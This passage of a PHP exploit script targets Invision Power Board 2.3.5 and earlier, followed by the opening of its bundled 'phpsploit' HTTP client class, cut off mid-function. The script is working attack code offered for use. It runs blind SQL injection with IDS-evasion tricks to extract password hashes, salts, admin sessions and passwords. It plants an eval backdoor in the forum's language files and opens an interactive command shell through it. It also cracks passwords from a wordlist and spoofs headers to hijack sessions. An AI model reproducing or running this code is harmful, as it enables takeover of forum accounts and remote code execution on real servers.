$this->p_uname = $this->get_p('uname');
|
|
$this->p_pwd = $this->get_p('pwd');
|
|
// or
|
|
$this->p_uid = $this->get_p('uid');
|
|
$this->p_hash = $this->get_p('passhash');
|
|
$this->p_shold = $this->get_p('stronghold');
|
|
|
|
if( $this->p_uname && $this->p_pwd && $this->p_url )
|
|
{
|
|
$this->get_cprefix();
|
|
|
|
$this->msg('Trying to get some cookies', 0);
|
|
|
|
$g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
|
|
$p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';
|
|
|
|
$this->web->post($this->p_url.$g_dat, $p_dat);
|
|
|
|
$this->p_uid = $this->web->cookie[$this->s_cprefix.'member_id'];
|
|
$this->p_hash = $this->web->cookie[$this->s_cprefix.'pass_hash'];
|
|
$this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
|
|
}
|
|
elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
|
|
$this->usage();
|
|
|
|
if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
|
|
{
|
|
$this->msg('Can\'t get cookies', -1);
|
|
$this->msg('You should try with other parameters', -1);
|
|
exit(1);
|
|
}
|
|
|
|
$this->msg('Ok, using cookies:', 1);
|
|
|
|
$this->msg('member_id='.$this->p_uid, 1);
|
|
$this->msg('pass_hash='.$this->p_hash, 1);
|
|
$this->msg('ipb_stronghold='.$this->p_shold, 1);
|
|
|
|
if( !$this->p_sql_u )
|
|
{
|
|
$this->set_sql_param();
|
|
|
|
$this->msg('Trying to get the current sql user', 0);
|
|
|
|
if( !$this->get_sql_user() )
|
|
{
|
|
$this->msg('Can\'t get the sql user', -1);
|
|
$this->msg('If you know the sql user, use -sqlusr', -1);
|
|
exit(1);
|
|
}
|
|
else
|
|
$this->p_sql_u = $this->data['sql_user'];
|
|
}
|
|
|
|
$this->msg('Ok, using sql user '.$this->p_sql_u, 1);
|
|
|
|
$dico_c = file($this->p_dict);
|
|
$ip_a = explode('.', $this->p_ip);
|
|
|
|
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
|
|
$this->msg('You should take a drink ...', 0);
|
|
|
|
foreach( $dico_c as $line )
|
|
{
|
|
$md5 = md5(trim($line).$this->p_sql_u);
|
|
$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
|
|
$md5 = md5($md5);
|
|
|
|
if( $this->p_shold === $md5 )
|
|
{
|
|
$this->msg('Found something cool =]', 1);
|
|
$this->msg('SQL password: '.$line, 1);
|
|
exit(1);
|
|
}
|
|
|
|
}
|
|
|
|
$this->msg('End of the wordlist, password not found', -1);
|
|
|
|
return;
|
|
}
|
|
|
|
function bf_usr_pwd()
|
|
{
|
|
$this->p_dict = $this->get_p('dict', true);
|
|
|
|
$this->p_hash = $this->get_p('passhash');
|
|
$this->p_salt = $this->get_p('salt');
|
|
|
|
if( !$this->p_hash || !$this->p_salt )
|
|
{
|
|
$this->set_sql_param();
|
|
$this->set_sql_focus();
|
|
}
|
|
|
|
if( !$this->p_hash )
|
|
{
|
|
$this->msg('Trying to get the password hash', 0);
|
|
|
|
if( !$this->get_pass_hash() )
|
|
{
|
|
$this->msg('Can\'t get the password hash', -1);
|
|
exit(1);
|
|
}
|
|
else
|
|
$this->p_hash = $this->data['pass_hash'];
|
|
}
|
|
|
|
$this->msg('Ok, using hash '.$this->p_hash, 1);
|
|
|
|
if( !$this->p_salt )
|
|
{
|
|
$this->msg('Trying to get the password salt', 0);
|
|
|
|
if( !$this->get_pass_salt() )
|
|
{
|
|
$this->msg('Can\'t get the password salt', -1);
|
|
exit(1);
|
|
}
|
|
else
|
|
$this->p_salt = $this->data['pass_salt'];
|
|
}
|
|
|
|
$this->msg('Ok, using salt '.$this->p_salt, 1);
|
|
|
|
$dico_c = file($this->p_dict);
|
|
|
|
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
|
|
$this->msg('You should take a drink ...', 0);
|
|
|
|
foreach( $dico_c as $line )
|
|
{
|
|
if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
|
|
{
|
|
$this->msg('Found something cool =]', 1);
|
|
$this->msg('User password: '.$line, 1);
|
|
exit(1);
|
|
}
|
|
}
|
|
|
|
$this->msg('End of the wordlist, password not found', -1);
|
|
|
|
return;
|
|
}
|
|
|
|
function set_sql_param()
|
|
{
|
|
$this->p_url = $this->get_p('url', true);
|
|
$this->p_pre = $this->get_p('prefix');
|
|
|
|
# Table prefix
|
|
if( !$this->p_pre )
|
|
{
|
|
# Default table prefix if not precised
|
|
$this->msg('Using default table prefix: ibf_', 1);
|
|
$this->p_pre = 'ibf_';
|
|
}
|
|
else
|
|
$this->msg('Using table prefix '.$this->p_pre, 1);
|
|
|
|
}
|
|
|
|
function set_sql_focus()
|
|
{
|
|
$this->p_uname = $this->get_p('uname');
|
|
$this->p_uid = $this->get_p('uid');
|
|
|
|
if( $this->p_uname )
|
|
$this->msg('Using targeted username '.$this->p_uname, 1);
|
|
|
|
elseif( $this->p_uid )
|
|
$this->msg('Using targeted user id '.$this->p_uid, 1);
|
|
|
|
# Target
|
|
if( !($this->p_uname || $this->p_uid) )
|
|
{
|
|
# Default uid if not precised
|
|
$this->msg('Using default user id: 1', 1);
|
|
$this->p_uid = 1;
|
|
}
|
|
|
|
# Focus on ?
|
|
if( $this->p_uname )
|
|
$this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';
|
|
|
|
else
|
|
$this->t_on = 'id='.(int)$this->p_uid;
|
|
|
|
return;
|
|
}
|
|
|
|
function exec_code()
|
|
{
|
|
$this->write_code();
|
|
|
|
while( $this->cmd_prompt() )
|
|
{
|
|
$this->web->addheader('My-Code', $this->cmd);
|
|
$this->web->get($this->p_url);
|
|
|
|
print "\n".$this->get_answer();
|
|
}
|
|
|
|
exit(0);
|
|
}
|
|
|
|
function get_answer()
|
|
{
|
|
$res_a = explode($this->res_sep, $this->web->getcontent());
|
|
|
|
if( !$res_a[1] )
|
|
return 'No result to retrieve';
|
|
|
|
else
|
|
return $res_a[1];
|
|
}
|
|
|
|
function cmd_prompt()
|
|
{
|
|
$this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
|
|
|
|
if( !ereg('^(quit|exit)$', $this->cmd) )
|
|
{
|
|
$this->cmd = base64_encode($this->cmd);
|
|
$this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
else
|
|
return FALSE;
|
|
}
|
|
|
|
function write_code()
|
|
{
|
|
# Gimme the language ID
|
|
$this->get_def_lang();
|
|
|
|
# Current lang settings
|
|
$p_dat =
|
|
'code=edit2&act=lang&id='.$this->g_lid.'§ion'.
|
|
'=lookandfeel&lang_file=lang_boards.php';
|
|
|
|
$this->web->post($this->a_url, $p_dat);
|
|
|
|
# We collect each variable name / value
|
|
if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
|
|
{
|
|
# POST data
|
|
$p_dat =
|
|
'code=doedit&act=lang&id='.$this->g_lid.
|
|
'&lang_file=lang_boards.php§ion=lo'.
|
|
'okandfeel&';
|
|
|
|
# &Name=Value
|
|
for( $i=0; $i<count($l_vars[0]); $i++ )
|
|
{
|
|
$p_dat .=
|
|
'&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);
|
|
|
|
# We write our PHP code in the first variable
|
|
if( $i == 0 )
|
|
$p_dat .= $this->php_write;
|
|
}
|
|
|
|
# Go on
|
|
$this->web->post($this->a_url, $p_dat);
|
|
|
|
$this->msg('PHP code written', 1);
|
|
}
|
|
else
|
|
{
|
|
# WTF :!
|
|
$this->msg('Can\'t find block variables', 0);
|
|
exit(1);
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
function get_def_lang()
|
|
{
|
|
$this->msg('Trying to get the set language id', 0);
|
|
|
|
$this->web->get($this->a_url.'§ion=lookandfeel&act=lang');
|
|
|
|
if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
|
|
{
|
|
$this->g_lid = $lids[1];
|
|
$this->msg('Using language id '.$this->g_lid, 1);
|
|
}
|
|
else
|
|
{
|
|
$this->msg('Can\'t get the default language id', -1);
|
|
exit(1);
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
function is_logged()
|
|
{
|
|
$this->bypass_matches();
|
|
|
|
# User session ok ?
|
|
if( !$this->s_admin )
|
|
{
|
|
$match = 'act=Login&CODE=03';
|
|
$this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);
|
|
$this->web->get($this->p_url);
|
|
}
|
|
|
|
# Admin session ok ?
|
|
else
|
|
{
|
|
$match = '§ion=';
|
|
$this->web->get($this->a_url);
|
|
}
|
|
|
|
if( preg_match("/$match/i", $this->web->getcontent()) )
|
|
return true;
|
|
|
|
else
|
|
return false;
|
|
}
|
|
|
|
function bypass_matches()
|
|
{
|
|
# match_browser
|
|
$this->web->agent($this->s_agent);
|
|
|
|
# match_ipaddress
|
|
$this->web->addheader('Client-IP', $this->s_ip);
|
|
|
|
return;
|
|
}
|
|
|
|
function get_cprefix()
|
|
{
|
|
$this->msg('Trying to get the cookie prefix', 0);
|
|
|
|
# Set-Cookie: session_id=...; path=/
|
|
$this->web->get($this->p_url);
|
|
|
|
$this->s_cprefix = '';
|
|
|
|
if( $this->web->cookie )
|
|
{
|
|
foreach( $this->web->cookie as $name => $value)
|
|
{
|
|
if( preg_match($this->reg_cpre, $name, $cmatches) )
|
|
{
|
|
$this->s_cprefix = $cmatches[1];
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if( !$this->s_cprefix )
|
|
$this->msg('No cookie prefix set', 1);
|
|
|
|
else
|
|
$this->msg('Using cookie prefix '.$this->s_cprefix, 1);
|
|
|
|
return;
|
|
}
|
|
|
|
function get_sec_options()
|
|
{
|
|
# If no value, take the default one
|
|
$this->get_conf('t.conf_value');
|
|
$this->get_conf('t.conf_default');
|
|
|
|
return;
|
|
}
|
|
|
|
function get_conf($field)
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_table = 'conf_settings';
|
|
$this->t_field = $field;
|
|
$this->t_char = $this->chr_num;
|
|
|
|
$this->t_add_0 = "AND t.conf_key='match_browser'";
|
|
|
|
if( $this->conf['browser'] === '' )
|
|
$this->conf['browser'] = $this->bf_inj();
|
|
|
|
$this->t_add_0 = "AND t.conf_key='match_ipaddress'";
|
|
|
|
if( $this->conf['ip'] === '' )
|
|
$this->conf['ip'] = $this->bf_inj();
|
|
|
|
$this->t_add_0 = "AND t.conf_key='xforward_matching'";
|
|
|
|
if( $this->conf['xforward'] === '' )
|
|
$this->conf['xforward'] = $this->bf_inj();
|
|
|
|
return;
|
|
}
|
|
|
|
function get_login_key()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'login_key';
|
|
$this->t_table = 'members';
|
|
$this->t_field = 't.member_login_key';
|
|
$this->t_join = 't.id=m.id';
|
|
$this->t_char = $this->chr_md5;
|
|
$this->data['login_key'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_sql_user()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'user()';
|
|
$this->t_table = 'members';
|
|
$this->t_field = 'user()';
|
|
$this->t_char = $this->chr_all;
|
|
$this->t_end = '@';
|
|
$this->data['sql_user'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_pass_hash()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'pass_hash';
|
|
$this->t_table = 'members_converge';
|
|
$this->t_field = 't.converge_pass_hash';
|
|
$this->t_join = 't.converge_email=m.email';
|
|
$this->t_char = $this->chr_md5;
|
|
$this->data['pass_hash'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_pass_salt()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'pass_salt';
|
|
$this->t_table = 'members_converge';
|
|
$this->t_field = 't.converge_pass_salt';
|
|
$this->t_join = 't.converge_email=m.email';
|
|
$this->t_char = $this->chr_all;
|
|
$this->data['pass_salt'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_admin_sess()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'admin_sid';
|
|
$this->t_table = 'admin_sessions';
|
|
$this->t_field = 't.session_id';
|
|
$this->t_join = 't.session_member_id=m.id';
|
|
$this->t_sel = 't.session_log_in_time';
|
|
$this->t_char = $this->chr_md5;
|
|
$this->data['a_sess_id'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_admin_ip()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'admin_ip';
|
|
$this->t_table = 'admin_sessions';
|
|
$this->t_field = 't.session_ip_address';
|
|
$this->t_join = 't.session_member_id=m.id';
|
|
$this->t_sel = 't.session_log_in_time';
|
|
$this->t_char = $this->chr_ip;
|
|
$this->data['a_ip_addr'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_admin_pwd()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'admin_pwd';
|
|
$this->t_table = 'admin_login_logs';
|
|
$this->t_field = 't.admin_post_details';
|
|
$this->t_join = 't.admin_username=m.members_l_username';
|
|
$this->t_sel = 't.admin_id';
|
|
$this->t_end = '"';
|
|
$this->t_bchar = -4; # ";}}
|
|
$this->t_char = $this->chr_all;
|
|
$this->data['a_pwd_like']= $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_user_sess()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'user_sid';
|
|
$this->t_table = 'sessions';
|
|
$this->t_field = 't.id';
|
|
$this->t_join = 't.member_id=m.id';
|
|
$this->t_sel = 't.running_time';
|
|
$this->t_char = $this->chr_md5;
|
|
$this->data['u_sess_id'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_user_ip()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'user_ip';
|
|
$this->t_table = 'sessions';
|
|
$this->t_field = 't.ip_address';
|
|
$this->t_join = 't.member_id=m.id';
|
|
$this->t_sel = 't.running_time';
|
|
$this->t_char = $this->chr_ip;
|
|
$this->data['u_ip_addr'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function get_user_agent()
|
|
{
|
|
$this->init_sql();
|
|
|
|
$this->t_key = 'user_agent';
|
|
$this->t_table = 'sessions';
|
|
$this->t_field = 't.browser';
|
|
$this->t_join = 't.member_id=m.id';
|
|
$this->t_sel = 't.running_time';
|
|
$this->t_char = $this->chr_all;
|
|
$this->data['u_agent'] = $this->bf_inj();
|
|
|
|
return $this->key_val;
|
|
}
|
|
|
|
function init_sql()
|
|
{
|
|
# SQL Injection params
|
|
$this->t_end = null;
|
|
$this->t_add_0 = '';
|
|
$this->t_add_1 = '';
|
|
$this->t_sel = '1';
|
|
$this->t_bchar = 0;
|
|
$this->t_join = '';
|
|
$this->t_key = '';
|
|
$this->t_add_1 = 'ORDER BY id DESC LIMIT 1';
|
|
|
|
return;
|
|
}
|
|
|
|
function init_global()
|
|
{
|
|
# Charsets
|
|
$this->chr_spe = str_split(' :/;*(-.!,?§*µù%$£^¨=+})°]à ç^_\\`è|[\'{#é~&²"@');
|
|
$this->chr_num = range(0, 9);
|
|
$this->chr_md5 = array_merge( $this->chr_num, range('a', 'f') );
|
|
$this->chr_ip = array_merge( $this->chr_num, array('.') );
|
|
$this->chr_all = array_merge( $this->chr_num, range('a', 'z') );
|
|
$this->chr_all = array_merge( range('A', 'Z'), $this->chr_all, $this->chr_spe );
|
|
|
|
# SQL Injection
|
|
$this->def_param = 'index.php?s=&act=xmlout&do=check-display-name&name=%rep_inj%';
|
|
|
|
# IDS Evasion via %0D
|
|
$this->def_inj = "' OR 1=\"'\" U%0DNION %rep_req% OR 1=\"'\" %rep_add% #";
|
|
|
|
# Results
|
|
$this->data = array();
|
|
$this->conf = array('ip' => '', 'browser' => '', 'xforward' => '');
|
|
|
|
# Misc
|
|
$this->stat = array(-1 => '-', 0 => '/', 1 => '+');
|
|
$this->s_bypass = false;
|
|
$this->res_sep = md5(rand());
|
|
$this->def_ip = rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);
|
|
|
|
# PHP Code
|
|
$this->php_write = '${${@eval($_SERVER[HTTP_MY_CODE])}}';
|
|
$this->php_send = "print('$this->res_sep');@system(base64_decode('%CMD%'));";
|
|
$this->php_send .= "print('$this->res_sep');exit(0);";
|
|
|
|
# Regex
|
|
$this->reg_lang = '#</span></td>[\r\n]*.*[\r\n]*.*code=export&id=([0-9]+)#i';
|
|
$this->reg_lvar = "#id='XX_([\w]+)'[\x20]+class='multitext'>(.*)</textarea></td>#i";
|
|
$this->reg_cpre = '#^(.*)session_id$#';
|
|
# $this->reg_acp = '#<a href="(.*)"[\x20]+target="_blank"#i';
|
|
|
|
# Default client headers
|
|
$this->s_agent = 'Mozilla Firefox';
|
|
$this->s_ip = $this->def_ip;
|
|
|
|
return;
|
|
}
|
|
|
|
function bf_inj()
|
|
{
|
|
$this->sub_chr = $this->t_bchar;
|
|
$this->key_val = '';
|
|
|
|
if( !empty($this->t_key) )
|
|
$this->msg('', 0);
|
|
|
|
while( true )
|
|
{
|
|
if( $this->t_bchar < 0 )
|
|
$this->sub_chr--;
|
|
|
|
else
|
|
$this->sub_chr++;
|
|
|
|
# 0-9a-f
|
|
for( $j=0;$j<=count($this->t_char);$j++ )
|
|
{
|
|
# That one ?
|
|
$chr = $this->t_char[$j];
|
|
|
|
# Latest char ?
|
|
if( $j === count($this->t_char) )
|
|
$chr = $this->t_end;
|
|
|
|
# Ascii num
|
|
$asc = ord($chr);
|
|
|
|
# Screen bug
|
|
if( !empty($this->t_key) )
|
|
{
|
|
$msg = $this->t_key.'='.$this->key_val;
|
|
$msg .= ($chr === $this->t_end ? "\x20" : $chr);
|
|
|
|
$this->msg($msg, 0, 1, 1);
|
|
}
|
|
|
|
# Focus on the target ?
|
|
if( !empty($this->t_join) )
|
|
{
|
|
$inj =
|
|
'SEL%0DECT 1,'.$this->t_sel.' FR%0DOM '.$this->p_pre.$this->t_table.
|
|
' t, '.$this->p_pre.'members m WH%0DERE '.$this->t_join.
|
|
' AND m.'.$this->t_on.' AND ASC%0DII(SUBS%0DTR('.$this->t_field.
|
|
','.$this->sub_chr.',1))='.$asc.' '.$this->t_add_0;
|
|
}
|
|
else
|
|
{
|
|
$inj =
|
|
'SEL%0DECT 1,'.$this->t_sel.' FR%0DOM '.$this->p_pre.$this->t_table.
|
|
' t WH%0DERE ASC%0DII(SUB%0DSTR('.$this->t_field.','.$this->sub_chr.
|
|
',1))='.$asc.' '.$this->t_add_0;
|
|
}
|
|
|
|
# SQL Injection via rawurldecode()
|
|
$inj = str_replace('%rep_req%', $inj, $this->def_inj);
|
|
$inj = str_replace('%rep_add%', $this->t_add_1, $inj);
|
|
$inj = str_replace(array('"', "'"), array('%2522', '%2527'), $inj);
|
|
|
|
# Params
|
|
$inj = str_replace('%rep_inj%', $inj, $this->def_param);
|
|
$inj = str_replace(array(' ', '#'), array('%20', '%23'), $inj);
|
|
|
|
$this->web->get($this->p_url.$inj);
|
|
|
|
# Ok !?
|
|
if( !strstr($this->web->getcontent(), 'notfound') )
|
|
{
|
|
if( $chr !== $this->t_end )
|
|
{
|
|
$this->key_val .= $chr;
|
|
break;
|
|
}
|
|
}
|
|
|
|
# End
|
|
if( $chr === $this->t_end )
|
|
{
|
|
# Reverse
|
|
if( $this->t_bchar < 0 )
|
|
$this->key_val = strrev($this->key_val);
|
|
|
|
if( !empty($this->t_key) )
|
|
$this->msg($this->t_key.'='.$this->key_val, 1, 1, 1);
|
|
|
|
return $this->key_val;
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
function get_p($p, $exit=false)
|
|
{
|
|
global $argv;
|
|
|
|
foreach( $argv as $key => $value )
|
|
{
|
|
if( $value === '-'.$p )
|
|
{
|
|
if( isset($argv[$key+1]) && !empty($argv[$key+1]) )
|
|
{
|
|
return $argv[$key+1];
|
|
}
|
|
else
|
|
{
|
|
if( $exit )
|
|
$this->usage();
|
|
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
|
|
if( $exit )
|
|
$this->usage();
|
|
|
|
return false;
|
|
}
|
|
|
|
function msg($msg, $nstatus, $nspace=1, $ndel=0, $ask=false)
|
|
{
|
|
if( $ndel ) $type = "\r";
|
|
else $type = "\n";
|
|
|
|
# wtf (:
|
|
print
|
|
(
|
|
$type.str_repeat("\x20", $nspace).
|
|
$this->stat[$nstatus]."\x20".$msg
|
|
);
|
|
|
|
if( $ask )
|
|
return trim(fgets(STDIN));
|
|
}
|
|
|
|
function give_hope()
|
|
{
|
|
$this->msg('You should try with another user or try another time', -1);
|
|
|
|
exit(1);
|
|
}
|
|
|
|
function mhead()
|
|
{
|
|
# Advisory: http://acid-root.new.fr/?0:18
|
|
|
|
print "\n Invision Power Board <= 2.3.5 Multiple Vulnerabilities";
|
|
print "\n ------------------------------------------------------";
|
|
print "\n\n About:";
|
|
print "\n\n by DarkFig < gmdarkfig (at) gmail (dot) com >";
|
|
print "\n http://acid-root.new.fr/";
|
|
print "\n #acidroot@irc.worldnet.net";
|
|
print "\n\n\n Attack(s):\n";
|
|
|
|
return;
|
|
}
|
|
|
|
function usage()
|
|
{
|
|
|
|
print "\n -attack <int_choice> <params> [options]\n\n";
|
|
print " 1 - PHP code execution\n\n";
|
|
print " -url IPB url with ending slash\n\n";
|
|
print " -uname targeted username\n";
|
|
print " -uid OR the targeted user id (def: 1)\n\n";
|
|
print " -prefix sql table prefix (def: ibf_)\n";
|
|
print " -acp admin control panel path (def: admin)\n\n\n";
|
|
print " 2 - Insecure SQL password usage\n\n";
|
|
print " -ip your current IP\n";
|
|
print " -dict a wordlist file\n\n";
|
|
print " -url IPB url with ending slash\n";
|
|
print " -uname a valid member username\n";
|
|
print " -pwd the associated password\n\n";
|
|
print " -uid OR the targeted member id\n";
|
|
print " -passhash the passhash cookie value\n";
|
|
print " -stronghold the stronghold cookie value\n\n";
|
|
print " -sqlusr you can precise the sql user\n";
|
|
print " -prefix sql table prefix (def: ibf_)\n\n\n";
|
|
print " 3 - Password bruteforcer\n\n";
|
|
print " -dict a wordlist file\n\n";
|
|
print " -url IPB url with ending slash\n";
|
|
print " -uname targeted username\n";
|
|
print " -uid OR the targeted user id (def: 1)\n";
|
|
print " -prefix sql table prefix (def: ibf_)\n\n";
|
|
print " -passhash OR the passhash value\n";
|
|
print " -salt the salt value\n\n\n";
|
|
print " Optional: \n\n";
|
|
print " -proxhost <ip> if you wanna use a proxy\n";
|
|
print " -proxauth <usr:pwd> proxy with authentication\n";
|
|
|
|
exit(1);
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
*
|
|
* Copyright (C) darkfig
|
|
*
|
|
* This program is free software; you can redistribute it and/or
|
|
* modify it under the terms of the GNU General Public License
|
|
* as published by the Free Software Foundation; either version 2
|
|
* of the License, or (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program; if not, write to the Free Software
|
|
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
|
|
*
|
|
* TITLE: PhpSploit Class
|
|
* REQUIREMENTS: PHP 4 / PHP 5
|
|
* VERSION: 2.1
|
|
* LICENSE: GNU General Public License
|
|
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
|
|
* FILENAME: phpsploitclass.php
|
|
*
|
|
* CONTACT: gmdarkfig@gmail.com (french / english)
|
|
* GREETZ: Sparah, Ddx39
|
|
*
|
|
* DESCRIPTION:
|
|
* The phpsploit is a class implementing a web user agent.
|
|
* You can add cookies, headers, use a proxy server with (or without) a
|
|
* basic authentification. It supports the GET and the POST method. It can
|
|
* also be used like a browser with the cookiejar() function (which allow
|
|
* a server to add several cookies for the next requests) and the
|
|
* allowredirection() function (which allow the script to follow all
|
|
* redirections sent by the server). It can return the content (or the
|
|
* headers) of the request. Others useful functions can be used for debugging.
|
|
* A manual is actually in development but to know how to use it, you can
|
|
* read the comments.
|
|
*
|
|
* CHANGELOG:
|
|
*
|
|
* [2008-08-29] (2.1)
|
|
* * New: The showheader()/showcookie() functions can now return an array
|
|
* * Bug #3 fixed: Problem concerning some servers for the main function
|
|
*
|
|
* [2007-06-10] (2.0)
|
|
* * Code: Code optimization
|
|
* * New: Compatible with PHP 4 by default
|
|
*
|
|
* [2007-01-24] (1.2)
|
|
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
|
|
* * New: multipart/form-data enctype is now supported
|
|
*
|
|
* [2006-12-31] (1.1)
|
|
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
|
|
* * New: You can now call the getheader() / getcontent() function without parameters
|
|
*
|
|
* [2006-12-30] (1.0)
|
|
* * First version
|
|
*
|
|
*/
|
|
|
|
class phpsploit
|
|
{
|
|
var $proxyhost;
|
|
var $proxyport;
|
|
var $host;
|
|
var $path;
|
|
var $port;
|
|
var $method;
|
|
var $url;
|
|
var $packet;
|
|
var $proxyuser;
|
|
var $proxypass;
|
|
var $header;
|
|
var $cookie;
|
|
var $data;
|
|
var $boundary;
|
|
var $allowredirection;
|
|
var $last_redirection;
|
|
var $cookiejar;
|
|
var $recv;
|
|
var $cookie_str;
|
|
var $header_str;
|
|
var $server_content;
|
|
var $server_header;
|
|
|
|
|
|
/**
|
|
* This function is called by the
|
|
* get()/post()/formdata() functions.
|
|
* You don't have to call it, this is
|
|
* the main function.
|
|
*
|
|
* @access private
|
|
* @return string $this->recv ServerResponse
|
|
*
|
|
*/
|
|
function sock()
|
|
{
|
|
if(!empty($this->proxyhost) && !empty($this->proxyport))
|
|
$socket = @fsockopen($this->proxyhost,$this->proxyport);
|
|
else
|
|
$socket = @fsockopen($this->host,$this->port);
|
|
|
|
if(!$socket)
|
|
die("Error: Host seems down");
|
|
|
|
if($this->method=='get')
|
|
$this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
|
|
|
|
elseif($this->method=='post' or $this->method=='formdata')
|
|
$this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
|
|
|
|
else
|
|
die("Error: Invalid method");
|
|
|
|
if(!empty($this->proxyuser))
|
|
$this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
|
|
|
|
if(!empty($this->header))
|
|
$this->packet .= $this->showheader();
|
|
|
|
if(!empty($this->cookie))
|
|
$this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
|
|
|
|
$this->packet .= 'Host: '.$this->host."\r\n";
|
|
$this->packet .= "Connection: Close\r\n";
|
|
|
|
if($this->method=='post')
|
|
{
|
|
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
|
|
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
|
|
$this->packet .= $this->data."\r\n";
|
|
}
|
|
elseif($this->method=='formdata')
|
|
{
|
|
$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
|
|
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
|
|
$this->packet .= $this->data;
|
|
}
|
|
|
|
$this->packet .= "\r\n";
|
|
$this->recv = '';
|
|
|
|
fputs($socket, $this->packet);
|
|
|
|
while(!feof($socket))
|
|
$this->recv .= fgets($socket);
|
|
|
|
fclose($socket);
|
|
|
|
if($this->cookiejar)
|
|
$this->getcookie();
|
|
|
|
if($this->allowredirection)
|
|
return $this->getredirection();
|
|
else
|
|
return $this->recv;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to add several
|
|
* cookies in the request.
|
|
*
|
|
* @access public
|
|
* @param string cookn CookieName
|
|
* @param string cookv CookieValue
|
|
* @example $this->addcookie('name','value')
|
|
*
|
|
*/
|
|
function addcookie($cookn,$cookv)
|
|
{
|
|
if(!isset($this->cookie))
|
|
$this->cookie = array();
|
|
|
|
$this->cookie[$cookn] = $cookv;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to add several
|
|
* headers in the request.
|
|
*
|
|
* @access public
|
|
* @param string headern HeaderName
|
|
* @param string headervalue Headervalue
|
|
* @example $this->addheader('Client-IP', '128.5.2.3')
|
|
*
|
|
*/
|
|
function addheader($headern,$headervalue)
|
|
{
|
|
if(!isset($this->header))
|
|
$this->header = array();
|
|
|
|
$this->header[$headern] = $headervalue;
|
|
}
|
|
|
|
/**
|
|
* This function allows you to use an
|
|
* http proxy server. Several methods
|
|
* are supported.
|
|
*
|
|
* @access public
|
|
* @param string proxy ProxyHost
|
|
* @param integer proxyp ProxyPort
|
|
* @example $this->proxy('localhost',8118)
|
|
* @example $this->proxy('localhost:8118')
|
|
*
|
|
*/
|
|
function proxy($proxy,$proxyp='')
|
|
{
|
|
if(empty($proxyp))
|
|
{
|
|
$proxarr = explode(':',$proxy);
|
|
$this->proxyhost = $proxarr[0];
|
|
$this->proxyport = (int)$proxarr[1];
|
|
}
|
|
else
|
|
{
|
|
$this->proxyhost = $proxy;
|
|
$this->proxyport = (int)$proxyp;
|
|
}
|
|
|
|
if($this->proxyport > 65535)
|
|
